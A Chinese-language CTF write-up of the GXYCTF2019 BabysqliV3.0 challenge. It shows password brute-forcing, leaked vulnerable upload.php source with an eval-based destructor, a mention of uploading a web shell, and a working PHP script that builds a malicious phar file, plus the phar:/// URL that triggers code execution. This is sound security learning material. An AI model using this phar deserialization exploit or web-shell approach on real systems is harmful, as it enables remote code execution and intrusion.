刷题笔记:[GXYCTF2019]BabysqliV3.0


前言

关键字:[phar|手动激活phar|phar:///]

题解

用户名输入admin

试了下也没找着注入点,先爆破一下吧。

跑出来密码是password

/home.php?file=upload

尝试下伪协议,拿到upload.php源码

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<form action="" method="post" enctype="multipart/form-data">
    上传文件
    <input type="file" name="file" />
    <input type="submit" name="submit" value="上传" />
</form>

<?php
error_reporting(0);
class Uploader
{
    public $Filename;
    public $cmd;
    public $token;


    function __construct()
    {
        $sandbox = getcwd() . "/uploads/" . md5($_SESSION['user']) . "/";
        $ext = ".txt";
        @mkdir($sandbox, 0777, true);
        if (isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])) {
            $this->Filename = $_GET['name'];
        } else {
            $this->Filename = $sandbox . $_SESSION['user'] . $ext;
        }

        $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
        $this->token = $_SESSION['user'];
    }

    function upload($file)
    {
        global $sandbox;
        global $ext;

        if (preg_match("[^a-z0-9]", $this->Filename)) {
            $this->cmd = "die('illegal filename!');";
        } else {
            if ($file['size'] > 1024) {
                $this->cmd = "die('you are too big (′▽`〃)');";
            } else {
                $this->cmd = "move_uploaded_file('" . $file['tmp_name'] . "', '" . $this->Filename . "');";
            }
        }
    }

    function __toString()
    {
        global $sandbox;
        global $ext;
        // return $sandbox.$this->Filename.$ext;
        return $this->Filename;
    }

    function __destruct()
    {
        if ($this->token != $_SESSION['user']) {
            $this->cmd = "die('check token falied!');";
        }
        eval($this->cmd);
    }
}

if (isset($_FILES['file'])) {
    $uploader = new Uploader();
    $uploader->upload($_FILES["file"]);
    if (@file_get_contents($uploader)) {
        echo "下面是你上传的文件:<br>" . $uploader . "<br>";
        echo file_get_contents($uploader);
    }
}

?>

在这可以执行命令,看看$cmd能否控制。

文件上传+类似反序列化的类又没有反序列化函数,可以考虑phar

构造下pop链:

__destruct() <-

pop链还没构造完,发现这个代码

试了下直接传进去了

幸福来的太突然

连接蚁剑,结束。

还构造个p构造。

算了还是继续学习下。

phar反序列化

phar:伪协议可以不依赖unserialize()直接进行反序列化操作,

$uploader为对象,这里会触发__toString(),而且file_get_contents()可以配合伪协议,就造成了phar反序列化漏洞点。

$Filename是可控的,

这样就可以让file_get_contents()去触发phar

先把token记下来

生成phar文件然后上传。

<?php

class Uploader
{
    public $Filename;
    public $cmd;
    public $token;
}

$a = new Uploader();
$a->Filename = "test";
$a->token = "GXY7f17dc42f4567993f9be1dcb117e757d";
$a->cmd = 'highlight_file("/var/www/html/flag.php");';

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub


$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

再用phar协议触发反序列化

?file=upload&name=phar:///var/www/html/uploads/809e1a55c1990c491e2578068d1ae0e3/GXY7f17dc42f4567993f9be1dcb117e757d.txt

最后随便上传个文件,返回之前反序列化的类。

其实在之前就可以感觉得到,上传文件,不会马上给出反馈,而是上传下一个文件的时候把上一个上传的结果反馈出来。


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录